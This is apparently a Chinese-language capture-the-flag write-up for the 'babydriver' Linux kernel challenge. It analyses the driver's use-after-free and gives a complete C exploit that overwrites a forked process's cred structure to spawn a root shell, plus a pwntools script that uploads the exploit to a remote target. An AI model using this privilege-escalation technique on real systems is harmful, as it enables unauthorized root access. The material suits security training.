以babydriver为例的kernel-pwn解题一般过程
字数 1166 2025-08-22 12:22:37

Kernel PWN 解题一般过程 - 以 babydriver 为例

1. 环境分析

1.1 启动脚本分析

查看 boot.sh 脚本内容:

#!/bin/bash
qemu-system-x86_64 \
-initrd rootfs.cpio \
-kernel bzImage \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
-monitor /dev/null \
-m 128M \
-nographic \
-smp cores=1,threads=1 \
-cpu kvm64,+smep \
-s

关键安全配置:

  • +smep:开启 Supervisor Mode Execution Protection,防止内核执行用户空间代码
  • 内存限制:128MB
  • 单核CPU

1.2 文件系统分析

解包 rootfs.cpio 文件系统:

mkdir File_system
mv rootfs.cpio ./File_system/rootfs.cpio.gz
cd File_system
gunzip rootfs.cpio.gz
cpio -idmv < rootfs.cpio

查看 init 文件内容:

#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -d 0 -f

关键信息:

  • 内核版本:4.4.72
  • 驱动模块路径:/lib/modules/4.4.72/babydriver.ko
  • 设备节点:/dev/babydev,权限777
  • 需要提权才能读取flag

1.3 驱动模块分析

检查驱动模块安全属性:

file babydriver.ko
checksec babydriver.ko

输出:

babydriver.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=8ec63f63d3d3b4214950edacf9e65ad76e0e00e7, with debug_info, not stripped

Arch:     amd64-64-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x0)

2. 驱动逆向分析

2.1 驱动初始化函数

int __cdecl babydriver_init() {
    // 分配字符设备的主设备号
    if ((int)alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev") >= 0) {
        // 初始化字符设备cdev_0
        cdev_init(&cdev_0, &fops);
        cdev_0.owner = &_this_module;
        
        // 添加字符设备
        if (cdev_add(&cdev_0, babydev_no, 1LL) >= 0) {
            // 创建设备类
            babydev_class = (class *)_class_create(&_this_module, "babydev", &babydev_no);
            if (babydev_class) {
                // 创建设备节点
                if (device_create(babydev_class, 0LL, babydev_no, 0LL, "babydev")) {
                    return 0;
                }
                // 错误处理...
            }
            // 错误处理...
        }
        // 错误处理...
    }
    // 错误处理...
    return 1;
}

2.2 驱动退出函数

void __cdecl babydriver_exit() {
    device_destroy(babydev_class, babydev_no);
    class_destroy(babydev_class);
    cdev_del(&cdev_0);
    unregister_chrdev_region(babydev_no, 1LL);
}

2.3 文件操作函数

2.3.1 open操作

int __fastcall babyopen(inode *inode, file *filp) {
    babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL);
    babydev_struct.device_buf_len = 64LL;
    printk("device open\n");
    return 0;
}

2.3.2 release操作

int __fastcall babyrelease(inode *inode, file *filp) {
    kfree(babydev_struct.device_buf);
    printk("device release\n");
    return 0;
}

2.3.3 ioctl操作

__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg) {
    if (command == 0x10001) {
        kfree(babydev_struct.device_buf);
        babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
        babydev_struct.device_buf_len = v4;
        printk("alloc done\n");
        return 0LL;
    }
    printk(&unk_2EB);
    return -22LL;
}

2.3.4 read/write操作

ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset) {
    if (!babydev_struct.device_buf) return -1LL;
    if (babydev_struct.device_buf_len > length) {
        copy_to_user(buffer, babydev_struct.device_buf, length);
        return length;
    }
    return -2LL;
}

ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset) {
    if (!babydev_struct.device_buf) return -1LL;
    if (babydev_struct.device_buf_len > length) {
        copy_from_user(babydev_struct.device_buf, buffer, length);
        return length;
    }
    return -2LL;
}

3. 漏洞分析

3.1 UAF漏洞

关键问题:

  1. babydev_struct 是全局变量
  2. 当多个进程打开设备时,会共享同一个 babydev_struct
  3. 当一个进程释放缓冲区后,另一个进程仍可能使用该缓冲区

利用步骤:

  1. 进程A打开设备,分配缓冲区
  2. 进程B打开设备,分配缓冲区(覆盖进程A的缓冲区)
  3. 进程A释放缓冲区
  4. 进程B仍可操作已释放的缓冲区

3.2 提权思路

利用UAF修改进程凭证结构体(cred结构):

  1. 分配与cred结构相同大小的缓冲区(0xa8字节)
  2. 通过fork创建子进程(子进程会复制父进程的cred结构)
  3. 在子进程cred结构创建时,通过UAF覆盖其内容
  4. 将uid、gid等字段修改为0,实现提权

4. 漏洞利用

4.1 EXP代码

#include <stdio.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <unistd.h>

int main(int argc, char **argv){
    int fd1, fd2, id;
    char cred[0xa8] = {0};
    
    fd1 = open("/dev/babydev", O_RDWR);
    fd2 = open("/dev/babydev", O_RDWR);
    
    ioctl(fd1, 0x10001, 0xa8);
    close(fd1);
    
    id = fork();
    if(id == 0){
        write(fd2, cred, 28);
        if(getuid() == 0){
            printf("[*]welcome root:\n");
            system("/bin/sh");
            return 0;
        }
    }
    else if(id < 0){
        printf("[*]fork fail\n");
    }
    else {
        wait(NULL);
    }
    close(fd2);
    return 0;
}

4.2 编译与部署

静态编译EXP:

musl-gcc -w -s -static -O3 exp.c -o exp

打包文件系统:

find . | cpio -o --format=newc > ../rootfs.cpio

4.3 调试技巧

4.3.1 获取带符号的vmlinux

vmlinux-to-elf bzImage vmlinux

4.3.2 GDB调试

gdb -q -ex "target remote localhost:1234"
set architecture i386:x86-64
add-symbol-file vmlinux
# 启动后按Ctrl+C中断
add-symbol-file babydriver.ko 0xffffffffc0000000  # 地址从lsmod获取
b babyread
b babywrite
b babyioctl
b babyopen
b babyrelease
c

5. 远程攻击脚本

import sys
import os
from pwn import *
import string

context.log_level = 'debug'
r = remote('ip', port)

def send_cmd(cmd):
    r.sendlineafter('$ ', cmd)

def upload():
    lg = log.progress('Upload')
    with open('exp', 'rb') as f:
        data = f.read()
    encoded = base64.b64encode(data)
    encoded = str(encoded)[2:-1]
    
    for i in range(0, len(encoded), 300):
        lg.status('%d/%d' % (i, len(encoded)))
        send_cmd('echo -n "%s" >> benc' % (encoded[i:i+300]))
    
    send_cmd('cat benc | base64 -d > bout')
    send_cmd('chmod +x bout')
    lg.success()

os.system('musl-gcc -w -s -static -o3 exp.c -o exp')
upload()
r.interactive()

6. 终端设备类型简介

Linux中 /dev 目录下的终端设备类型:

  1. /dev/ttySn - 串行端口终端

    • 用于与串行端口连接的终端设备
    • 类似Windows下的COM端口
  2. /dev/tty - 控制终端

    • 当前进程的控制终端设备文件
    • 类似符号链接,指向实际终端设备
  3. /dev/ttyN & /dev/console - 虚拟终端与控制台

    • 虚拟终端:软件模拟的终端,可通过Ctrl+Alt+Fx切换
    • 控制台:直接连接计算机的原生设备
  4. /dev/pty - 伪终端

    • 成对的逻辑终端设备(master/slave)
    • 用于远程连接和图形界面终端模拟器
  5. 其他特殊终端

    • /dev/ttyprintk 直接与内核缓冲区相连
Kernel PWN 解题一般过程 - 以 babydriver 为例 1. 环境分析 1.1 启动脚本分析 查看 boot.sh 脚本内容: 关键安全配置: +smep :开启 Supervisor Mode Execution Protection,防止内核执行用户空间代码 内存限制:128MB 单核CPU 1.2 文件系统分析 解包 rootfs.cpio 文件系统: 查看 init 文件内容: 关键信息: 内核版本:4.4.72 驱动模块路径: /lib/modules/4.4.72/babydriver.ko 设备节点: /dev/babydev ,权限777 需要提权才能读取flag 1.3 驱动模块分析 检查驱动模块安全属性: 输出: 2. 驱动逆向分析 2.1 驱动初始化函数 2.2 驱动退出函数 2.3 文件操作函数 2.3.1 open操作 2.3.2 release操作 2.3.3 ioctl操作 2.3.4 read/write操作 3. 漏洞分析 3.1 UAF漏洞 关键问题: babydev_struct 是全局变量 当多个进程打开设备时,会共享同一个 babydev_struct 当一个进程释放缓冲区后,另一个进程仍可能使用该缓冲区 利用步骤: 进程A打开设备,分配缓冲区 进程B打开设备,分配缓冲区(覆盖进程A的缓冲区) 进程A释放缓冲区 进程B仍可操作已释放的缓冲区 3.2 提权思路 利用UAF修改进程凭证结构体(cred结构): 分配与cred结构相同大小的缓冲区(0xa8字节) 通过fork创建子进程(子进程会复制父进程的cred结构) 在子进程cred结构创建时,通过UAF覆盖其内容 将uid、gid等字段修改为0,实现提权 4. 漏洞利用 4.1 EXP代码 4.2 编译与部署 静态编译EXP: 打包文件系统: 4.3 调试技巧 4.3.1 获取带符号的vmlinux 4.3.2 GDB调试 5. 远程攻击脚本 6. 终端设备类型简介 Linux中 /dev 目录下的终端设备类型: /dev/ttySn - 串行端口终端 用于与串行端口连接的终端设备 类似Windows下的COM端口 /dev/tty - 控制终端 当前进程的控制终端设备文件 类似符号链接,指向实际终端设备 /dev/ttyN & /dev/console - 虚拟终端与控制台 虚拟终端:软件模拟的终端,可通过Ctrl+Alt+Fx切换 控制台:直接连接计算机的原生设备 /dev/pty - 伪终端 成对的逻辑终端设备(master/slave) 用于远程连接和图形界面终端模拟器 其他特殊终端 如 /dev/ttyprintk 直接与内核缓冲区相连